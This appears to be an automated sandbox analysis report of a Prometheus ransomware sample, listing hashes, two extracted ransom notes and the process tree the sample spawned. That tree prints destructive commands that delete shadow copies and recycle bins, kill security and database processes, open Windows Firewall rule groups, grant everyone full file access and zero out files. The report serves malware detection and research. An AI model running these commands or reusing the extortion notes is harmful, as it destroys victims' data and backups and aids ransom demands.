Analysis
-
max time kernel
120s -
max time network
151s -
platform
windows10_x64 -
resource
win10v20210408 -
submitted
28-05-2021 06:53
General
-
Target
20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
-
Size
222KB
-
MD5
1493deb48d84805f19ba35e60d485e87
-
SHA1
a34a1aeda6019b041f112b1ddbbc290ef523042b
-
SHA256
20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5
-
SHA512
ce83d28d70a0d3f108431aa31858030a2cfb91d77f470fd7ef4aecbcd213541f4e393e2d59cdad1d2578dbd3411f43be9c1612e2a63dab8560bc64a16bb589ef
Score
10/10
Malware Config
Extracted
Path
C:\Users\Admin\AppData\Local\Temp\RESTORE_FILES_INFO.txt
Family
prometheus
Ransom Note
YOUR COMPANY NETWORK HAS BEEN HACKED
All your important files have been encrypted!
Your files are safe! Only modified.(AES)
No software available on internet can help you.
We are the only ones able to decrypt your files.
--------------------------------------------------------------------------------
We also gathered highly confidential/personal data.
These data are currently stored on a private server.
Files are also encrypted and stored securely.
--------------------------------------------------------------------------------
As a result of working with us, you will receive:
Fully automatic decryptor, all your data will be recovered within a few hours after it's run.
Server with your data will be immediately destroyed after your payment.
Save time and continue working.
You will can send us 2-3 non-important files and we will decrypt it
for free to prove we are able to give your files back.
--------------------------------------------------------------------------------
!!!!!!!!!!!!!!!!!!!!!!!!
If you decide not to work with us:
All data on your computers will remain encrypted forever.
YOUR DATA ON OUR SERVER AND WE WILL RELEASE YOUR DATA TO PUBLIC OR RE-SELLER!
So you can expect your data to be publicly available in the near future..
The price will increase over time.
!!!!!!!!!!!!!!!!!!!!!!!!!
--------------------------------------------------------------------------------
It doesn't matter to us what you choose.
We only seek money and our goal is not to damage your reputation or prevent your business from running.
Write to us now and we will provide the best prices.
Instructions for contacting us:
1. Type the addres "https://www.torproject.org" in your Internet browser. It opens the Tor site.
2. Press "Download Tor", then press "Download Tor Browser Bundle", install it.
3. Open the Tor browser. Copy the link http://promethw27cbrcot.onion/ticket.php?track=AA4-MX4-GGQD and paste it in the Tor browser.
7. Start a chat and follow the further instructions.
Attention!
Any attempt to restore your files with third-party software will corrupt it.
Modify or rename files will result in a loose of data.
If you decide to try anyway, make copies before that
Key Identifier:
GdOgdPDhucVMKOmOUql3cp17Cej9kR1B8p5jHYKOXxzgENTj21dg0jLW97bUEtOQqcf28UDOKX4aPwZ6Ol3GVyOFgXmwk+mOLwX07Y3dS9K6K7HKLVzjPgKE87KfLSNEQSrP+h200/imfPCltL9XcWkBVNv3PimI/DLHDZl498vLSFwanWFnlhN9Nj9PVufyzP/2qEnRBus0Nz+8nIyrvupJMGoBouIjflO/RKnnDlOO7dvQkmHUBdxRweS+fKBpFV5Mn7/PLGhXFAPHuM4TY0cPomxiOwtbDRG9IvyW2itnFDGyBUHzzfLTO9sVhQWBcWS4U/rN18o3YGcuOwwteA1egeB1s802kdK+HdSCye3lf6ROYoGhIzmeKxJEPr0JaJixxVamiofxkSPjNgxb+Q0Qk0hYC7UZdHt58lFGSwVbQyDOOSDVljig3liKvGN5AiM++Az5g8Lhy+Zzv28wQGfTfoj/fPVyxrS6yjrv3l9M18rDoBhX2TuuKJwyqMJeG74N2ZQCguoKysBhnJfDYRQ4CrpWYYkwCeyeTFf54sGSCmfaxg9/zRBav/FFXYDkhbiP7lcY+kCT5LaKcMXoPMdDEoITTG8qwo7WIcHQhhUafLz13fjnqmXZdC/lGSIWrkHRRjlrNC0cThyXcXjpP4RJnLX+VwkH4A2IJRAtd/A=
URLs
http://promethw27cbrcot.onion/ticket.php?track=AA4-MX4-GGQD
Extracted
Path
C:\Users\Admin\Desktop\RESTORE_FILES_INFO.hta
Family
prometheus
Ransom Note
YOUR COMPANY NETWORK HAS BEEN HACKED
All your important files have been encrypted!
Your files are safe! Only modified.(AES)
No software available on internet can help you.
We are the only ones able to decrypt your files.
We also gathered highly confidential/personal data.
These data are currently stored on a private server.
Files are also encrypted and stored securely.
As a result of working with us, you will receive:
Fully automatic decryptor, all your data will be recovered within a few hours after it’s installation.
Server with your data will be immediately destroyed after your payment.
Save time and continue working.
You will can send us 2-3 non-important files and we will decrypt it
for free to prove we are able to give your files back.
If you decide not to work with us:
All data on your computers will remain encrypted forever.
YOUR DATA ON OUR SERVER AND WE WILL RELEASE YOUR DATA TO PUBLIC OR RE-SELLER!
So you can expect your data to be publicly available in the near future..
The price will increase over time.
It doesn't matter to us what you choose.
We only seek money and our goal is not to damage your reputation or prevent your business from running.
Write to us now and we will provide the best prices.
Instructions for contacting us:
1. Type the addres "https://www.torproject.org" in your Internet browser. It opens the Tor site.
2. Press "Download Tor", then press "Download Tor Browser Bundle", install it.
3. Open the Tor browser. Copy the link http://promethw27cbrcot.onion/ticket.php?track=AA4-MX4-GGQD and paste it in the Tor browser.
7. Start a chat and follow the further instructions.
Attention!
Any attempt to restore your files with third-party software will corrupt it.
Modify or rename files will result in a loose of data.
If you decide to try anyway, make copies before that
Key Identifier: GdOgdPDhucVMKOmOUql3cp17Cej9kR1B8p5jHYKOXxzgENTj21dg0jLW97bUEtOQqcf28UDOKX4aPwZ6Ol3GVyOFgXmwk+mOLwX07Y3dS9K6K7HKLVzjPgKE87KfLSNEQSrP+h200/imfPCltL9XcWkBVNv3PimI/DLHDZl498vLSFwanWFnlhN9Nj9PVufyzP/2qEnRBus0Nz+8nIyrvupJMGoBouIjflO/RKnnDlOO7dvQkmHUBdxRweS+fKBpFV5Mn7/PLGhXFAPHuM4TY0cPomxiOwtbDRG9IvyW2itnFDGyBUHzzfLTO9sVhQWBcWS4U/rN18o3YGcuOwwteA1egeB1s802kdK+HdSCye3lf6ROYoGhIzmeKxJEPr0JaJixxVamiofxkSPjNgxb+Q0Qk0hYC7UZdHt58lFGSwVbQyDOOSDVljig3liKvGN5AiM++Az5g8Lhy+Zzv28wQGfTfoj/fPVyxrS6yjrv3l9M18rDoBhX2TuuKJwyqMJeG74N2ZQCguoKysBhnJfDYRQ4CrpWYYkwCeyeTFf54sGSCmfaxg9/zRBav/FFXYDkhbiP7lcY+kCT5LaKcMXoPMdDEoITTG8qwo7WIcHQhhUafLz13fjnqmXZdC/lGSIWrkHRRjlrNC0cThyXcXjpP4RJnLX+VwkH4A2IJRAtd/A=
URLs
http://promethw27cbrcot.onion/ticket.php?track=AA4-MX4-GGQD
Signatures
-
Prometheus Ransomware
Ransomware family mostly targeting manufacturing industry and claims to be affiliated with REvil.
-
Modifies Windows Firewall 1 TTPs
-
Drops startup file 1 IoCs
-
Modifies file permissions 1 TTPs 3 IoCs
-
Modifies WinLogon 2 TTPs 2 IoCs
-
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Kills process with taskkill 48 IoCs
-
Modifies registry key 1 TTPs 1 IoCs
-
Runs ping.exe 1 TTPs 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious use of AdjustPrivilegeToken 49 IoCs
-
Suspicious use of FindShellTrayWindow 3 IoCs
-
Suspicious use of SendNotifyMessage 3 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
-
System policy modification 1 TTPs 2 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe"C:\Users\Admin\AppData\Local\Temp\20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe"1⤵
- Drops startup file
- Modifies WinLogon
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
- System policy modification
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill" /F /IM RaccineSettings.exe2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\reg.exe"reg" delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Raccine Tray" /F2⤵
-
C:\Windows\SYSTEM32\reg.exe"reg" delete HKCU\Software\Raccine /F2⤵
- Modifies registry key
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /DELETE /TN "Raccine Rules Updater" /F2⤵
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c rd /s /q %SYSTEMDRIVE%\\$Recycle.bin2⤵
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config Dnscache start= auto2⤵
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config SQLTELEMETRY start= disabled2⤵
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config FDResPub start= auto2⤵
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config SSDPSRV start= auto2⤵
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled2⤵
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c rd /s /q D:\\$Recycle.bin2⤵
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config SstpSvc start= disabled2⤵
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config upnphost start= auto2⤵
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config SQLWriter start= disabled2⤵
-
C:\Windows\SYSTEM32\netsh.exe"netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes2⤵
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mspub.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM synctime.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mspub.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mydesktopqos.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM Ntrtscan.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mysqld.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mydesktopservice.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM isqlplussvc.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM sqbcoreservice.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM firefoxconfig.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM onenote.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM encsvc.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM excel.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM agntsvc.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM PccNTMon.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM dbeng50.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM CNTAoSMgr.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM thebat.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM msaccess.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM thebat64.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM sqlwriter.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM outlook.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM steam.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM ocomm.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM tbirdconfig.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM tmlisten.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" IM thunderbird.exe /F2⤵
- Kills process with taskkill
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM dbsnmp.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM infopath.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM wordpad.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM msftesql.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mbamtray.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM xfssvccon.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mysqld-opt.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM powerpnt.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM zoolz.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM ocautoupds.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mydesktopqos.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM ocssd.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM visio.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\netsh.exe"netsh" advfirewall firewall set rule group="File and Printer Sharing" new enable=Yes2⤵
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM oracle.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mydesktopservice.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM winword.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM sqlagent.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mysqld-nt.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM sqlbrowser.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM sqlservr.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }2⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "C:*" /grant Everyone:F /T /C /Q2⤵
- Modifies file permissions
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "D:*" /grant Everyone:F /T /C /Q2⤵
- Modifies file permissions
-
C:\Windows\SYSTEM32\icacls.exe"icacls" "Z:*" /grant Everyone:F /T /C /Q2⤵
- Modifies file permissions
-
C:\Windows\System32\mshta.exe"C:\Windows\System32\mshta.exe" C:\Users\Admin\Desktop\RESTORE_FILES_INFO.hta2⤵
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”2⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.7 -n 33⤵
- Runs ping.exe
-
C:\Windows\system32\fsutil.exefsutil file setZeroData offset=0 length=524288 “%s”3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe2⤵
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\RESTORE_FILES_INFO.txtFilesize
2KB
MD54f3f4587ffa39c36a942c37be9a3762a
SHA163ae0769e376e84c51c7af383a55803976fd19cf
SHA256f333935a6f8d460adc8236149cf61fc878c6871cb11b92dba84640ff8a79b977
SHA51280d7ba8c329ccbff799b117bfe8bec18dbc9e603f22b2102062d607a8910e78714def0879855049636dcce9039bd16066274f639fdded729e897a65eb4db9e51
-
C:\Users\Admin\Desktop\RESTORE_FILES_INFO.htaFilesize
21KB
MD538ecadbf00f22a15521c7bd35c38663b
SHA1c8543d4f231db8d7b0b03c3a0f99be287ded5004
SHA2565aa3c8dc39354d3ab48ef62f7d6365c92ccaafc0a9cadc5bc76acf8de56f837f
SHA5128745b3572a37d13ba9b51d2bcbdb3a6bc773ea235173f777a8dbfdb222485efada4c9e0a8455e8ef5accf4004e521c66599750331bf9edb04d97307e990e87c2
-
memory/184-129-0x0000000000000000-mapping.dmp
-
memory/196-133-0x0000000000000000-mapping.dmp
-
memory/200-124-0x0000000000000000-mapping.dmp
-
memory/844-119-0x0000000000000000-mapping.dmp
-
memory/1028-159-0x0000000000000000-mapping.dmp
-
memory/1084-131-0x0000000000000000-mapping.dmp
-
memory/1096-121-0x0000000000000000-mapping.dmp
-
memory/1116-158-0x0000000000000000-mapping.dmp
-
memory/1268-117-0x0000000000000000-mapping.dmp
-
memory/1304-160-0x0000000000000000-mapping.dmp
-
memory/1456-114-0x0000000000FA0000-0x0000000000FA1000-memory.dmpFilesize
4KB
-
memory/1456-116-0x00000000015F0000-0x00000000015F2000-memory.dmpFilesize
8KB
-
memory/2052-130-0x0000000000000000-mapping.dmp
-
memory/2056-179-0x0000000000000000-mapping.dmp
-
memory/2104-125-0x0000000000000000-mapping.dmp
-
memory/2112-126-0x0000000000000000-mapping.dmp
-
memory/2252-118-0x0000000000000000-mapping.dmp
-
memory/2260-136-0x0000000000000000-mapping.dmp
-
memory/2264-127-0x0000000000000000-mapping.dmp
-
memory/2320-192-0x000001D64B150000-0x000001D64B151000-memory.dmpFilesize
4KB
-
memory/2320-206-0x000001D630976000-0x000001D630978000-memory.dmpFilesize
8KB
-
memory/2320-186-0x000001D64AFA0000-0x000001D64AFA1000-memory.dmpFilesize
4KB
-
memory/2320-193-0x000001D630970000-0x000001D630972000-memory.dmpFilesize
8KB
-
memory/2320-194-0x000001D630973000-0x000001D630975000-memory.dmpFilesize
8KB
-
memory/2320-180-0x0000000000000000-mapping.dmp
-
memory/2784-135-0x0000000000000000-mapping.dmp
-
memory/2784-173-0x0000000000000000-mapping.dmp
-
memory/2840-123-0x0000000000000000-mapping.dmp
-
memory/2992-137-0x0000000000000000-mapping.dmp
-
memory/3020-132-0x0000000000000000-mapping.dmp
-
memory/3196-134-0x0000000000000000-mapping.dmp
-
memory/3440-122-0x0000000000000000-mapping.dmp
-
memory/3940-120-0x0000000000000000-mapping.dmp
-
memory/3944-128-0x0000000000000000-mapping.dmp
-
memory/4104-138-0x0000000000000000-mapping.dmp
-
memory/4116-139-0x0000000000000000-mapping.dmp
-
memory/4140-161-0x0000000000000000-mapping.dmp
-
memory/4176-140-0x0000000000000000-mapping.dmp
-
memory/4188-163-0x0000000000000000-mapping.dmp
-
memory/4264-141-0x0000000000000000-mapping.dmp
-
memory/4264-172-0x0000000000000000-mapping.dmp
-
memory/4300-142-0x0000000000000000-mapping.dmp
-
memory/4312-143-0x0000000000000000-mapping.dmp
-
memory/4312-174-0x0000000000000000-mapping.dmp
-
memory/4328-162-0x0000000000000000-mapping.dmp
-
memory/4332-165-0x0000000000000000-mapping.dmp
-
memory/4392-144-0x0000000000000000-mapping.dmp
-
memory/4452-164-0x0000000000000000-mapping.dmp
-
memory/4476-166-0x0000000000000000-mapping.dmp
-
memory/4488-145-0x0000000000000000-mapping.dmp
-
memory/4500-146-0x0000000000000000-mapping.dmp
-
memory/4552-147-0x0000000000000000-mapping.dmp
-
memory/4572-167-0x0000000000000000-mapping.dmp
-
memory/4584-168-0x0000000000000000-mapping.dmp
-
memory/4608-148-0x0000000000000000-mapping.dmp
-
memory/4688-149-0x0000000000000000-mapping.dmp
-
memory/4700-150-0x0000000000000000-mapping.dmp
-
memory/4724-169-0x0000000000000000-mapping.dmp
-
memory/4764-171-0x0000000000000000-mapping.dmp
-
memory/4800-151-0x0000000000000000-mapping.dmp
-
memory/4808-170-0x0000000000000000-mapping.dmp
-
memory/4812-152-0x0000000000000000-mapping.dmp
-
memory/4840-175-0x0000000000000000-mapping.dmp
-
memory/4880-153-0x0000000000000000-mapping.dmp
-
memory/4916-154-0x0000000000000000-mapping.dmp
-
memory/4976-178-0x0000000000000000-mapping.dmp
-
memory/5024-155-0x0000000000000000-mapping.dmp
-
memory/5040-176-0x0000000000000000-mapping.dmp
-
memory/5056-156-0x0000000000000000-mapping.dmp
-
memory/5104-157-0x0000000000000000-mapping.dmp
-
memory/5112-177-0x0000000000000000-mapping.dmp